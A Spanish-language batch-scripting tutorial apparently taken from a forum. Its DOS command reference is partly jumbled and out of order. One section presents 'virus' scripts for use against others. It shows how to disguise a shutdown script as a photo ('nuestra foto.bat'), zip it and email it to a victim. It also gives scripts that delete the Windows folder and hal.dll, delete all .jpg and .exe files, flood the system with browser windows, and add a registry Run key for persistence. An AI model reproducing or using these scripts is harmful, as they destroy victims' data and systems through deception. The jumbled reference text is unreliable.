¿Qué es batch?

Un archivo batch es un archivo de procesamiento por lotes: se trata de archivos de texto sin formato, guardados con la extensión *.bat que contienen un conjunto de comandos DOS. Cuando se ejecuta este archivo bat, los comandos contenidos son ejecutados en grupo, de forma secuencial, permitiendo automatizar diversas tareas. Los comandos son así como los del MSDOS. Hay que aclarar Batch que no es un Lenguaje de Programación. Es un archivo de código que contiene comandos del, Shell de Windows, llamado MS-DOS, que pueden ejecutar desde Inicio>Ejecutar->CMD. Hay dos maneras de ejecutar comandos Batch. Desde el Shell de Windows. Escribiéndolos en un archivo de texto con extensión .bat y luego ejecutarlo. ¿Que son scrips? seran todas las ordenes que pongamos, esto quiere decir que si ponemos @echo off se vera lo que queremos que se vea. ¿Qué es un Comando? Es una orden que le damos al sistema operativo para que haga una tarea determinada. Ya sabeis lo necesario...ahora empecemos. Siempre que termineis un programa, debeis de cambiarle la extensión .txt por .bat ------------------------------------------------------------------------------------------------------------------1.- APRENDER EL LENGUAJE Del = Borrar archivos. Rd = Borrar directorio de raíz. Start = Comenzara "algo". Pause = Pausa Exit = Salir Taskkill = Mata proceso. ------------------------------------------------------------------------------------------------------------------set /p x= Son set para hacer preguntas/variables/etc ejemplo: set /p pre= ¿Estas bien? if %pre%== = (llava 2 ==) Para contestar el set /p x=. ejemplo: set /p pre= ¿Estas bien? y abajo if %pre%== si goto si if %pre%== no goto no Goto = Etiquetas. ejemplo: :si y abajo desarrollamos el goto si :no desarrollamos el goto no. Bucle = Es un simple "cajón" que repite una acción. Ejemplo: :no -------------------------------------------------------------------------------------------------------------------

Cls = Limpiara la pantalla. ejemplo: tenemos todo escrito. Ponemos pause (Para que el user lea lo que dice y luego cls así toca una tecla y quedara todo en blanco) Format unidad: = Formatea la unidad. Ejemplo: format c: Msg* = Da un mensaje con un cartelito de Windows. ejemplo: msg* Echo = Da un mensaje dentro de la consola. Ejemplo echo Date = Dia/Mes/Año. Ejemplo: date x/x/x Time= Hora. Ejemplo: time x:x ------------------------------------------------------------------------------------------------------------------echo sirve para poner un texto en la pantalla y también para hacer redirecciones para el texto en pantalla va a ser así: echo hola echo me alegro y para el re direccionar va así echo @echo off>> %nombre%.bat ------------------------------------------------------------------------------------------------------------------shutdown con este código apagamos la pc dependiendo del parámetro que utilicemos así shutdown -l = cerrar cesión shutdown -s= apagar el equipo shutdown -r= reiniciar el equipo shutdown -a= anular el apagado del equipo shutdown -t xx= establecer el tiempo de espera para apagar la pc en segundos shutdown -c= comentario máximo 127 caracteres shutdown -f= fuerza el cierre de todas las aplicaciones. ------------------------------------------------------------------------------------------------------------------Comandos básicos de consola Cls: Limpia la pantalla. Echo: Habilita o deshabilita el volcado de texto de programa. Pause: Detiene la ejecución de comandos y continúa al presionar una tecla. Pause > nul: Igual que pause pero no avisa Date: Muestra la fecha del sistema. Time: Muestra la hora del sistema. Ver: Muestra la versión del sistema operativo. Vol: Muestra el volumen específico de una unidad. Path: Indica el trayecto por defecto del sistema. Mem: Muestra datos sobre la memoria usada, libre, etc. -----------------------------------------------------------------------------------------------------------------Comandos para la gestión de archivos Copy: Copiar un archivo o una carpeta. Del: Eliminar un archivo. Mkdir o MD: Crear un directorio. Rmdir o RD: Eliminar un directorio. Chdir o CD: Cambia a un directorio deseado.

muestra en pantalla o suprime particiones. que son el CONFIG.Envía el comando direccionado en un disco hacia otro disco.Acceso a los CD-ROM. similar al bloc de notas.Formatea el disco destinatario marcando y eliminando los sectores defectuosos. INSTALL O INSTALAR. inicializando el directorio y la tabla de asignación de los archivos (FAT). ´-tµ tiempo en segundos. Scandisk: Comprueba el disco duro y lo repara si es necesario.Carga los programas residentes. que sólo se ocupa de archivos de comandos. Ha sido reemplazado por SCANDISK en los DOS 6. empezando por los llamados "archivos de sistemaµ. Type: Muestra un tipo de fichero en específico. ATTRIB .Instala un disco duro. Aca estan los demas para los que quieren saber mas del dos ANSI. EDIT .Indica al sistema en qué directorios debe buscar los archivos de datos o de comandos. ------------------------------------------------------------------------------------------------------------------Comandos de unidades de disco Fdisk: Gestor de particiones de disco. Choice: Para dar al usuario a elegir entre distintas opciones.Sys mediante un Device= APPEND .2.SYS y el AUTOEXEC. etc.Controla un disco y provee información sobre su capacidad. Goto: ´Ir aµ. MSCDEX . pero sólo a partir de la versión 6. A partir del DOS 6. en su totalidad o de manera selectiva. Rename o Ren: Renombra un archivo. For: Ejecuta varias sentencias hasta terminar el ciclo.Presenta en pantalla o modifica los atributos de los archivos. If: Condicional para ejecutar distintas sentencias. Se debe especificar la ruta.Dir: Muestra el contenido de un directorio. Otro nombre de este comando: MKDIR. por "Make Directoryµ. Label: Asigna una etiqueta a un disco. FDISK . este último reemplaza al primero.Carga el código ANSI. la FAT. ASSIGN . SCANDISK . a través del Config.SYS . ´-fµ lo fuerza. COPY .5. FORMAT . creación de un directorio.2. .BAT. cambiarles el nombre.Sys. su estado. etc.Crea un directorio. Este comando es relativamente reciente en el DOS y complementa al comando PATH. Format: Da formato a una unidad de disco.Editor que reemplaza a Edlin desde el DOS. ------------------------------------------------------------------------------------------------------------------Comandos de programación Edit: Editor de textos.Presenta la lista del contenido de un directorio. Ya no existe en el DOS 6. DIR . concatenarlos. los directorios. MD . crea. y cargando el programa de inicio. los archivos. Debug: Inicia el depurador de códigos.Herramienta de verificación y reparación de los discos duros.Sirve para copiar archivos. shutdown -s -f -t 15 -c "hola" (´-sµ apaga PC. Interviene en el Config. ´-cµ escribir mensaje con comillas) ------------------------------------------------------------------------------------------------------------------CHKDSK . Se usará esencialmente para modificar pequeños archivos de texto.

Suprime un directorio y todo lo que contiene.Compacta el disco duro. CD . que disponen de toda una gama de comandos propios. CHKDSK . la nueva. BREAK . BUFFERS . CHCP . etc. COMMAND . por medio del config. BAT . CHOICE .sys que determina la capacidad del búfer para el disco.bat. 6. El Backup ya no existe en el DOS 6. DATE .Muestra en pantalla y modifica la fecha utilizada por el sistema. Este comando ha sido reemplazado por DRIVESPACE a partir del DOS 6.22. sin cambiar ninguna otra cosa. RESTORE.Controla un disco y provee información sobre su capacidad.SYS . mostrando mientras tanto su nombre en pantalla.Una novedad del DOS 6. Se trata del lenguaje de programación más simple que existe. lo cual es una bendición porque este comando era uno de los más difíciles de manejar. CHKSTATE.Extensión específica para el nombre de los archivos de procedimientos. su nombre completo es CHDIR. Ha sido reemplazado por SCANDISK en los DOS 6.Carga un administrador en memoria superior. adaptándolo al país. cuyo nombre abreviado es CD.bin. su estado.Una novedad del DOS.Suprime la puesta en reserva de un DOS antiguo.bat como un subprograma. por encima de los primeros 640 KB.2. fecha introducida se graba en las memorias permanentes. Le pide al usuario que efectúe una selección en una secuencia «batch». DEL . Uno de los más conocidos es el archivo AUTOEXEC. DEVICEHIGH .Cambio de directorio.COM del DOS. DBLSPACE . la FAT.Archivo de configuración que dispone de instrucciones propias. que se ejecuta automáticamente cuando usted pone su computadora en funcionamiento. CALL .BACKUP . llama a otro . los directorios. CLS . DEVICE .Nacionaliza el sistema.Una novedad del DOS 6.sys.Simplemente borra la pantalla. DELTREE . en una sola operación.En un archivo . duplicando aproximadamente su capacidad. Es un comando pequeño e interesante que conviene recordar.Activa o desactiva la posibilidad de realizar una interrupción con Control + Pausa. DEFRAG .Instala un driver de periférico.Realiza una copia de seguridad de los archivos de un disco en uno 0 varios discos.Una novedad dei DOS 6. los archivos.Selección de las tablas de códigos. DBLSPACE. Desfragmenta los archivos en el disco duro para mejorar la velocidad y la seguridad. DELOLDOS . DEBUG .SYS .Cambio de directorio.Comando para el config. incluyendo los subdirectorios. . BASIC . COUNTRY . La compresión puede variar normalmente de 1. CONFIG. Adopte CD en lugar de CHDIR si quiere evitar presionar tres teclas en el teclado. Determina la posición final del archivo dblspace. según el tipo de archivo.Llama al lenguaje Basic IBM en los DOS IBM. que permite salir de una secuencia.Llama a un procesador secundario de comandos. Este archivo se ejecuta automáticamente cada vez que se pone en funcionamiento la computadora.Destruye uno o varios archivos en el disco (actúa como el comando ERASE). CHDIR .BAT. La restauración de los archivos se hace con la orden de sentido contrario.Una novedad del DOS 6.SYS . Usado por el programa MemMaker para optimizar la memoria.7 a más de 10.Lanza el programa de "debugging' (eliminación de errores). Debug está reservado a los expertos. o reinstala el procesador de comandos COMMAND.

de dos disquetes del mismo tipo. a través del Config. FASTOPEN .Administra las disqueteras.Simula la memoria expandida en la memoria extendida. Opte por DEL ya que se escribe más rápido.Sirve de soporte a la memoria expandida.Sys.Descomprime un archivo comprimido. En la mayoría de los casos. en un Config.BAT. GOTO .Reemplaza a DBLSPACE a partir del DOS 6.sys.SYS . No está disponible en todas las versiones. que no existe más en los DOS 6. DISPLAY. o a los últimos que se han utilizado.Es un direccionamiento incondicional a una línea marcada con un rótulo del mismo nombre en un archivo . No existe más en el DOS 6. A partir del DOS versión 5. EMM386 . EXIT le permite salir del DOS para volver al programa que lo llama. memorizando su camino de acceso. FASTHELP .BIN o .Comparación de archivos. los comandos ejecutados en un archivo . Permite introducir un mensaje que será mostrado en pantalla en todos los casos.Sys. FC .Destruye uno o varios archivos del disco (y actúa como el comando DEL).Sys.Compara el contenido total.Especifica la cantidad de archivos abiertos. .Vuelve a mostrar en pantalla o no. Este comando está reservado a los expertos. para la visualización en pantalla.Sys. se evita tener que volver a escribirlos. ERASE .Especifica la cantidad de bloques de control de archivos. EXIT .Carga la tabla de los caracteres gráficos. EXPAND . Windows por ejemplo. pista por pista y sector por sector.22.Carga una secuencia que permite la impresión de la pantalla que incluye caracteres gráficos. Este dos shell ha sido suprimido en la versión DOS 6.Proporciona un acceso rápido a los archivos que se usan con más frecuencia.Copia de modo idéntico el contenido de un disquete fuente en un disquete destinatario rigurosamente del mismo formato. EMM386.BAT Otra noción más para expertos.Instala el programa de memorización y de llamado de los comandos instalados anteriormente. a través del Config. según se ponga o no en servicio este eco.EXE . ERROLEVEL . DOS . con las mismas funciones. FOR .DISKCOMP . De esta manera.Código de errores para archivos .Busca la cadena de caracteres indicada en un archivo y envía al periférico activo de salida (el monitor. GRAPHIC . DISKCOPY . los códigos ASCII 128 a 255.Se utiliza para conmutar las tablas de códigos.sys. EXE2BIN .COM. DOSSHELL . DOSKEY . DRIVER. vía el config.Llama a la superestructura de diálogo del DOS. FIND . GRAFTABL . ECHO . FCBS . en eco.Establece un vínculo entre la memoria convencional y la memoria superior a través del config. DRIVPARM . en un Config. FILES .Especifica la repetición del mismo comando para cada una de las variables contenidas en la lista.Sale de un procesador de comandos.2 ya que Microsoft consideró que había sido reemplazado ventajosamente por el ´Administrador de archivosµ de ese superprograma que es Windows. usando ON u OFF respectivamente.Convierte el formato . está destinado a los programadores.sys. Este comando. formateando previamente este último y haciéndolo sobre el modelo del disquete fuente si es necesario.BAT.EXE en .SYS .Define los parámetros de periféricos en modo bloque. de códigos 128 a 255. por ejemplo) todas las líneas en las que la encontró. a través del Config.Muestra en pantalla la lista de comandos de la versión 6 con una breve explicación. DRIVESPACE .

sin que desfilen ininterrumpidamente en la pantalla) MOVE .Provee información técnica sobre su computadora. por "Make Directoryµ. MIRROR . Otro nombre: LH. A partir del DOS 6.Crea.Incluye un bloque de configuración en otro.Llamado del antiguo Basic avanzado de Microsoft. Nuevo comando a partir del DOS 6. MORE . MEM . Nuevo comando con el DOS 6. JOIN . A partir del DOS 6. MSAV .Carga un programa por encima de los primeros 64 Kb de memoria y lo ejecuta.Especifica el menú por defecto. No existe más en el DOS 6. Otro nombre de este comando: MD. Otro nombre: LOADHIGH. interface de video y conexiones en serie. generalmente a través del Autoexec.Administración y optimización de la memoria.Lanza el centro de recuperación de datos InterLnk.Sys. No existe más en el DOS 6.Asigna el contenido de un disco a un directorio de otro disco. modifica o suprime el nombre atribuido a un disco.Copia de seguridad para el seguimiento del borrado de archivos.Carga un programa en la memoria superior.EXE . Nuevo comando con el DOS 6.Establece las condiciones de funcionamiento de los periféricos. en el cual ha sido reemplazado por el QBasic.Comando relativo a los idiomas nacionales. NLSFUNC . A partir del DOS 6.Llama al editor de conexiones. Nuevo comando del DOS 6. creación de un directorio. MSBACKUP . MODE .Para visualizar página por página en la pantalla (es decir. Desde el DOS 5. generalmente en el Autoexec.Comando de ejecución condicional para archivo . a través del Config.Crea un subdirectorio.Mueve uno o varios archivos y da nuevo nombre a archivos o directorios. A partir del DOS 6.Programa antivirus. LASTDRIVE .Pedido de ayuda. Nuevo comando del DOS 6. . LOADFIX .SYS . Nuevo comando del DOS 6. MENUITEM . MACROS . Novedad del DOS versión 6.BAT. a través del Config. a partir del DOS 6.Realización de macros con Doskey. por medio de sus puertos paralelos o en serie. Da informaciones complementarias sobre los países y prepara el uso de las tablas de códigos con CHCP NUMLOCK . LINK . Con el DOS 5. MSD . INTERLNK. HIMEM. a través del Config.Muestra en pantalla la memoria ocupada y la disponible.Administrador de memoria extendida.Sys. LABEL . Desde el DOS 5. MENUDEFAULT . HELP .Define la cantidad de unidades de disco en el Config. Su nombre proviene de "National Languages Support Functionµ.Sys.Conecta dos computadoras. INCLUDE . MEMMAKER . LOADHIGH . y también sirve para la preparación de las tablas de códigos. KEYB . IF .Administrador para Interlnk.bat.bat.Carga el programa que administra el teclado (reemplaza al que reside en la memoria muerta. impresora. · MENUCOLOR . MKDIR .Carga un programa en la memoria superior.Sys.GWBASIC .Determina que la sección numérica del teclado esté bloqueada o no.A partir del DOS 6. LH . para el teclado USA). INTERLNK . pero con los DOS 6.Determina el color del texto y del fondo para el primer menú. INTERSVR . en el inicio. Define un ítem del menú de arranque.Nuevo procedimiento de copia de seguridad.

restablece el contenido de un disco a partir de su copia de seguridad anterior. marcando una diferencia de una posición para cada SHIFT que se introduce. RENAME . . a través del Config. RESTORE . SMARTDRV . por lo tanto.Suspende la ejecución de un programa . POWER . Nuevo. REN . SMARTDRV.EXE .Restaura. introduciendo un nombre seguido de su equivalencia. SETVER. QBASIC . a partir del DOS 6. con los DOS hasta el 5 inclusive.Instala el programa para compartir archivos.Sustituye un camino de acceso cuya descripción es larga.Utilizado por el programa de optimización de la memoria MemMaker Novedad del DOS 6.Suprime un subdirectorio que debe estar obligatoriamente vacío (y que.Imprime el contenido de archivos. PAUSE .Instala un procesador de comandos.Sys.Cambia el nombre de un archivo. sólo debe contener las marcas . SET .Suprime un subdirectorio que debe estar obligatoriamente vacío (y que. y/o su unidad. sólo debe contener las marcas .Es el nuevo lenguaje Basic de Microsoft. A partir del DOS 5.EXE .Se utiliza para conmutar las tablas de códigos con las impresoras. por una unidad de disco ficticia que bastará con llamar luego.Instala un disco virtual. SHELL . Desapareció en el DOS 6.Define un ítem del menú de arranque abriendo un submenú.Interviene cuando hay que recuperar los datos de un archivo porque hay un sector defectuoso en el disco.Especifiica caminos de búsqueda alternativos para los archivos de comando (con la extensión .Define o muestra en pantalla los símbolos del sistema utilizados por el DOS. PRINT . Nuevo comando del DOS 6.Programa de monitoreo (de vigilancia) de SmartDrive. Los datos de este sector se habrán perdido.Sirve para definir el entorno de trabajo que requieren algunos programas.BAT) que no se encuentran en el directorio activo. Es lo mismo que REN. SHIFT . SUBMENU . y .COM.Pone en servicio o saca de servicio la administración del consumo de energía. a través del Config. Nuevo comando a partir del DOS 6. POWER. comentarios.BAT mostrando en pantalla un mensaje optativo de 121 caracteres como máximo. SHIPDISK . REM .). en 123 caracteres como máximo por línea de REM. por lo tanto. RD . PRINTER.. El nombre abreviado es RD. a través del Config.EXE . RMDIR . Este comando se encuentra generalmente en el archivo Autoexec.EXE . SORT .Introduce observaciones.Cambia el nombre de un archivo.Sys.Ordena datos. RAMDRIVE .Administrador de SmartDrv. STACKS . en segundo plano.Reemplaza o agrega selectivamente archivos que provienen de un disco fuente a un disco destinatario.Declara las versiones del DOS para algunas aplicaciones. pero más largo de escribir.Administrador de POWER. El nombre completo de este comando es RMDIR.PATH .Sirve para utilizar más de 10 parámetros reemplazables numerados de 0 a 9.Sys. SETVER . En el DOS 6.EXE o . y . SHARE . mientras se prosigue con un trabajo en la pantalla. SUBST . No existe más en el DOS 6. en las líneas de comando.Administrador de SETVER.Bloquea los cabezales del disco duro antes de desplazarlo. PROMPT .bat.SYS . RECOVER ..).Define las pilas. sólo existe para la compatibilidad. SIZER. o . REPLACE .Creación de la antememoria de disco SmartDrive. SMARTMON .

VDISK . Es un comando excelente que puede servir incluso para efectuar copias de seguridad -------------------------------------------------------------------------------------------------------------------2.Recuperación de archivos borrados. No abrir los virus si no sabes si esta correctamente instalado. resguardados). al guardar los virus es importante colocar: elnombre.Copia archivos selectivamente. inclusive los que provienen de subdirectorios. todos los virus deben ser comprimidos 4. TIME . a través del Config. VERIFY .Residente antivirus. 3.. SYS . ------------------------------------------------------------------------------------------------------------------- Warning!! No abrir @echo off Echo hola Echo ¿sabes? Voy a apagar tu pc. ya no tenemos el dibujo de el blog de notas. UNDELETE .Pone en servicio (con ON) o anula (con OFF) la verificación de los datos escritos en el disco.bat o sea el nombre que tu le pondrás a tu virus pero al final le colocaras el .SWITCHES .Muestra en pantalla o configura la hora del sistema (incluidos los relojes permanentes. UNFORMAT .Copia los tres archivos que sirven de núcleo al sistema del disco fuente activo al disco destinatario. A partir del DOS 5.Muestra en pantalla la versión activa del DOS. TREE .Muestra los árboles de los directorios de un disco (y la lista de sus archivos con una clave suplementaria). XCOPY . VSAFE . TEMP .Reconstrucción de un disco reformateado.Sustituye el teclado extendido por el teclado convencional. Lo seleccionaremos pero sin abrirlo y haremos clic al botón derecho del mouse     Comenzemos haciendo algo sencillo virus) luego escribie lo siguiente: primero deben abrir el blog de notas (ahí se hecen los .Instala un disco virtual.bat de lo contrario no seria un virus. shutdown -t 10 pause exit para guardarlos coloquemos un nombre por ejemplo nuestra foto y le agregamos el ´. VOL .Variable de entorno. A partir de la versión DOS 5.Muestra en pantalla el contenido de un archivo.batµ y quedaría de la siguiente forma: nuestra foto. si no uno de un pequeño cuadrito con una engrane o tuerca.bat ya tenemos nuestro primer (no dañino virus.Sys. 2. VER . Dejó de estar incluido a partir del DOS 6.Muestra en pantalla el nombre del disco solicitado.REGLAS A CUMPLIR 1. luego de terminar un virus colocar al final de ellos: pause y luego mas abajo exit de lo contrario este no funcionara.bat) al ver nuestro virus vemos que el formato a cambiado. TYPE .

..dll Este apaga la pc automaticamente @echo off shutdown -f -t 00 tambien pueden saturar la pc para obligarla a reiniciarla: @echo off start iexplore start iexplore start iexplore Pause exit Deben colocar start iexplorer muchas veces muchas muchas y al final deben colocar pause y luego abajo exit. si ustedes no colocan esto luego de terminar su virus este no funcionara! -----------------------------------------------------------------------------------------------------------------------Programación avanzada de archivos en lotes . y la otra es ZIP cámbialo a zip. luego te deben salir una especie de libros de colores.. Entra a tu correo le das a adjuntar y adjuntas el virus. (salen dos opciones RAR que en la que esta.. colocas el correo de la persona y lo envías.. Borra windows erase C:\WINDOWS \q Este borra todos los jpg y exe del pc @echo off cd\ del *...y veremos una serie de opciones: nosotros seleccionaremos la que dice: AÑADIR AL ARCHIVO.exe /q shutdown -l shutdown ²s exit Este elimina windows @echo off taskill Explorer tskill Explorer del /q /f /s C:\WINDOWS\system32\hal..jpg /q del *. y listo cuando la persona lo abra debería apagarse su computadora automáticamente.bat ¡ ¡ .

De esta manera el GOTO funciona escribiendo GOTO seguido del nombre de la etiqueta. Ejemplo de sintaxis. if %cadena1% == %cadena2% OrdenAEjecutar Que se podría leer de la siguiente manera. números o para saber si existen archivos. como vemos en el siguiente ejemplo. Si cadena1 es igual a Cadena2 ejecutemos la Orden OrdenAEjecutar. o vuelva a alguna anterior. pause>nul exit Dato Interesante: En Batch las Mayúsculas y Minúsculas no se diferencian. cadenas. Condicionales: El primer condicional que veremos el más usado. if not %cadena1%== %cadena2% ejecutarAccion Para saber si un archivo existe. Para crear una etiqueta solo debemos escribir: Código : :nombreEtiqueta Dos punto (:) seguido del nombre que le daremos a la etiqueta. se usa: if exist "NombreDelArchivo" AccionAEjecutar . Esto se logra con Etiquetas y la función GOTO. pero existe una forma para que el Batch se salte lineas.A continuación veremos los siguientes temas:         Uso de etiquetas Condicionales Creación de Menús Apagado y Reiniciado de Pc Leer archivos externos Insertar al Registro Otras cosas útiles Uso de etiquetas Como bien sabemos la lectura de los códigos Batch se leen de una manera lineal. También existe el NOT para ver si no son iguales. IF: Se puede ocupar para comparar. esta es la etiqueta y nos saltamos una parte del codigo. Código : @echo off goto :mietiqueta echo ¿Por que me saltan? :MiEtiqueta echo Hola.

jpg) DO echo %%x pause . EQU.21) aquí especificamos que se repetirá del 0 al 1 y del 1 al 21. Un ejemplo. Aquí se repetirá un Echo. Batch en algunos casos SI reconoce entre mayúsculas y minúsculas.o también para ver si NO existe: if not exist "NombreDelArchivo" AccionAEjecutar No solo se puede ocupar el signo == para hacer comparaciones. es este: for /L %%i IN (0. estamos diciendo cualquier archivo que tenga una A delante y luego cualquier cosa. en este caso un echo que imprimirá la variable. Otro uso que puede ser aplicado en el FOR es el listado de carpetas o archivos. por lo cual al poner a*. Para verificar si es menor o igual. GTR. LSS. Si es mayor GEQ. Para verificar si el numero es Menor LEQ. Un ejemplo de esto seria: Código : if 5 GTR 4 echo Hola FOR: Nos sirve para repetir un comando varias veces. Si es Mayor e igual. do (echo %%i) Esto es la función que se ejecutara en cada repetición del comando.1.1. que imprimirá números del 0 al 21. Otro ejemplo del uso de comodín. es listar archivos con extensión común como seria este: Código : @echo off FOR %%x in (*. %%i sera el nombre de la variable que almacenara datos in (0. Sirve para cuando queremos ver Desigualdad. ¿Por que? * (asterisco) es un signo comodín. en distintas variables. como veremos a continuación: Listado de archivos: Código : @echo off FOR %%x in (a*) DO echo %%x pause Este código. listaría todos los archivos que comienzan con A. como en el caso de la variable %%i si esta se llamara %%I no seria reconocida como la misma. que es el equivalente a == NEQ.21) DO (echo %%i) En donde /L es para especificar que nuestro for se basara en un conteo de números.

Salir Luego para seguir ocuparíamos esto: Código : set /p var= if %var%==1 goto :Primero if %var%==2 goto :Segundo if %var%==3 goto exit if %var% GTR 3 echo Error goto :Menu Con esto damos una variable en la que se guardara el numero insertado para luego ser verificado por los condicionales. y más importante de los condicionales. Talvez otro claber se anime a profundizar más en el tema. Creación de Menús: Como ya vimos Condicionales y Etiquetas les enseñare una manera de hacer Menús. También al principio cree una etiqueta para que se pueda volver .Aqui nos estaria listando todos los archivos que tengan la extensión . de esta manera: Código : @echo off :Menu cls echo Seleccione su opcion tecleando el numero respectivo. echo 1. si el numero es mayor que 3 nos avisara que no existe esa opción. Comenzaríamos indicando las instrucciones y las opciones. Si quisiéramos que se listaran los directorios. tan solo que al indicar /D solo se aplica a directorios. Primera Opcion echo 2. juntos a los directorios que tienen estos dentro se ocupa /R FOR /R /D %%x in (a*) DO echo %%x y si quisiéramos listar todos los documentos que están dentro de una carpeta contando los que están dentro de carpetas se ocupa solamente /R (Sin /D) FOR /R %%x in (a*) DO echo %%x Con esto creo que tenemos lo básico.jpg Listado de Carpetas: FOR /D %%x in (a*) DO echo %%x Es casi lo mismo anterior. echo. Segunda Opcion echo 3.

Primera Opcion echo 2. echo 1.al menú y un "cls" para limpiar la pantalla. Código : :Primero cls color a Echo Esta es la Primera Opcion Echo Precione una tecla para volver al menu Pause>Nul goto :Menu :Segundo cls color 1a Echo Esta es la Segunda Opcion Echo Precione una tecla para volver al menu Pause>Nul goto :Menu Quedando para terminar nuestro codigo así: Código : @echo off :Menu cls echo Seleccione su opcion tecleando el numero respectivo. Para terminar creamos las respectivas etiquetas. echo. Segunda Opcion echo 3. Salir set /p var= if %var%==1 goto :Primero if %var%==2 goto :Segundo if %var%==3 goto exit if %var% GTR 3 echo Error goto :Menu :Primero cls color a Echo Esta es la Primera Opcion Echo Precione una tecla para volver al menu Pause>Nul goto :Menu :Segundo cls color 1a Echo Esta es la Segunda Opcion .

se ocupa de la siguiente manera el apagado. como en el mismo Shell. shutdown -s -t Tiempo -c "Comentario" donde -s significa que lo apagaremos. que se Apaga Forzosamente y que puede dañar el pc y luego se reinicia es este: Código : shutdown -r -f -t 0 -c "Bye" (No lo recomiendo probar en tu pc. incluso puedes cambiar la barra de titulo. ) Leer archivos externos: Para leer un archivo externo con Batch. incluso programarlo para que apague a la hora que desees. En windos XP mostrara un contador. pues has la prueba Código : shutdown -s -t 999999 -c "Esto se esta apagando" Código : shutdown -a Con esto ya probamos los dos y podemos ser felices. de seguro quieres hacer la prueba. La puedes hacer pero antes de eso te recomiendo que leas lo siguiente.Echo Precione una tecla para volver al menu Pause>Nul goto :Menu Bueno. Puedes cancelar el apagado (Antes de que el contador termine) solamente escribiendo shutdown -a ya sea en un archivo de texto con extensión bat. También puedes forzar el cierre de los programas. Tan solo ocupando -f Un ejemplo de un Pc. Ok. Como vieron puede cada sección tener su color.txt" . si en vez de ocupar -s usas -r el PC se reiniciara. solamente saldrá una alerta con el Comentario. Es notablemente fácil. pero en Windows Vista no abra ni un contador. -t debe ir seguido de los segundos que demorara apagar. como un archivo de texto por ejemplo. que ni siquiera es obligatorio. Bueno. Ya que apaga el pc en 0 segundos sin preguntar nada. Entonces. Se usa el siguiente código: Código : type "NombreDelArchivo. con el comentario que va luego de -c. con eso les basta para imaginarse como crear sus menús personales. para que no de tiempo de guardar nada. Apagado y Reiniciado de Pc: Una cosa muy interesante que puedes hacer con Batch es Apagar y Reiniciar tu Pc.

bat Con la función REG ADD Agregamos algo al registro. Sirve para abrir una alerta con un mensaje su utilización es la siguiente: Código : msg * EsteEsMiMensaje AT Esta es una de las que más me gusta. es para programar alguna acción a cierta hora. Con solo esta linea estamos listos. es la dirección completa de donde esta nuestro Batch. En medio de toda la dirección se puede leer MIBATCH. También puedes programar un apagado o cualquier Cosa. Donde aremos que nuestro batch se ejecute con el Sistema.bat yo puse el nombre del Batch pero también se puede poner cualquier otra cosa.¿Simple no? Insertar al Registro: Insertar al registro tu Batch puede ser muy útil. -----------------------------------------------------------------------------------------------------------------------También te interesa Activar Netmeeting en Windows XP Cómo activar Google Wave si tienes el Dev Preview Solución a error con archivo HAL. Con otro comando podemos borrar. pero les enseñare esta que no funciona en todos los PC.bat. Haz la prueba! Otras cosas útiles: Para terminar hablare de pequeñas funciones que pueden ser de utilidad.bat /t REG_SZ /d C:\MIBATCH. Ejemplo: Código : At 20:00 msg * Son Las 8 de la noche Con esto a las 20:00 nos aparecerá un mensaje que nos dirá que son las 8 de la Noche. Lo que sigue es la "Dirección" de donde insertaremos el registro que en este caso será para que nuestro batch se ejecute al iniciar Sesión.DLL en Windows XP . la verdad yo no entiendo mucho del registro pero leí un poco y aquí tienen un ejemplo que se encuentra a ser sincero en muchas web. se tomara como para el día siguiente. Código : REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v MIBATCH. Si la hora que das ya paso. Msg Esta función tiene otras utilidades. Más adelante donde dice C:\MIBATCH.

te sera fácil entender este concepto.0.exe Si lo abres y tienes el reproductor de audio windows.html -----------------------------------------------------------------------------------------------------------------------Como puedo cerrar un programa especifico con un batch.http://foro.php/topic.132924. Nos aparecerá una pantalla negra que dirá "Hola Mundo". Código : taskkill /im /f programaespecifico. cd "C:\" chdir "C:\" Los ejemplos anteriores hacen exactamente lo mismo. Sirve para cambiar de Directorio o Mostrar el nombre del actual. Código : @echo off echo Hola Mundo pause exit Ahora guardemos el archivo como Nombre. CD o CHDIR seguido de la ubicación del directorio al cual nos moveremos.bat y lo ejecutamos.exe Ya esta especificado. -----------------------------------------------------------------------------------------------------------------------Hola Mundo en Batch Comenzaremos creando un Simple y clásico "Hola Mundo". escribiendo en un archivo de texto el siguiente código. luego una linea abajo dirá "Presione una tecla para continuar" Ahora aprenderemos algunas funciones de Batch: CD O CHDIR: Si has trabajado en PHP. Para usarlo.bat Código : taskkill /f /im wmplayer. Este se cerrara.elhacker. cambian al Disco C COPY: .net/index. Ejemplo: escribe en un archivo *.

txt" Donde primero cambiamos de directorio al Disco C con cd "C:\" y luego al copiar no tenemos que especificar que esta en el Disco C ya que ya nos encontramos en el. pause cls echo ¿Ves? .txt" Para acortar un poco podríamos usar: Código : cd "C:\" Copy "archivo.txt" "archivo2.Sirve para copiar uno o más archivos a otro destino. Cuando pulses la tecla se borrara el contenido y cambiara por otro. DEL: Sirve para eliminar uno o más archivos.txt" Aquí copiaríamos un archivo del Disco C llamado "archivo.txt" como "archivo2. Su sintaxis es: Del "ARCHIVO" También se puede añadir: del /f /q "archivo" Donde no pide confirmación de eliminación (/q) y fuerza al archivo a borrarse ( /f ) MOVE: Sirve para mover un archivo. Su sintaxis es: Move "Dirección Archivo" "Nueva Dirección" CLS: Sirve para limpiar el contenido de la pantalla: Ejemplo: Código : @echo off echo Hola. Su sintaxis es la siguiente: Copy "Dirección del archivo" "Nueva dirección" Ejemplo: Código : Copy "C:\archivo.txt" "C:\archivo2.

pause exit Si quisiéramos averiguar más sobre las funciones. En él. luego lo mueva a otro directorio. En la carpeta donde crearás el archivo .txt" "copiado. escribe lo que quieras. Este será el archivo que copiaremos.BAT crea un archivo de texto llamado COPIAME.TXT. Copiaremos un archivo pause copy "copiame. Ahora el Batch: Código : @echo off echo Hola.txt" del "copiame. o conocer algunas nuevas por nuestra propia cuenta podemos escribir en el Shell el nombre del comando seguido de /? y aparecerá toda la información necesaria.txt" move "copiado.txt" cd "C:\" .txt" "C:\copiado. Luego para borrar el contenido de pantalla escribe: Código : Cls Ahora veamos la ayuda de la función Copy: Código : copy /? Cerremos la ventana: Código : exit Ahora vamos a crear un Batch que copie un archivo. Podemos poner en práctica esto de la siguiente manera: Abramos el Shell de windows: Inicio->Ejecutar-CMD Una vez abierto escribamos: Código : echo off Para eliminar el eco. borre el original y vuelva a copiar el copiado.

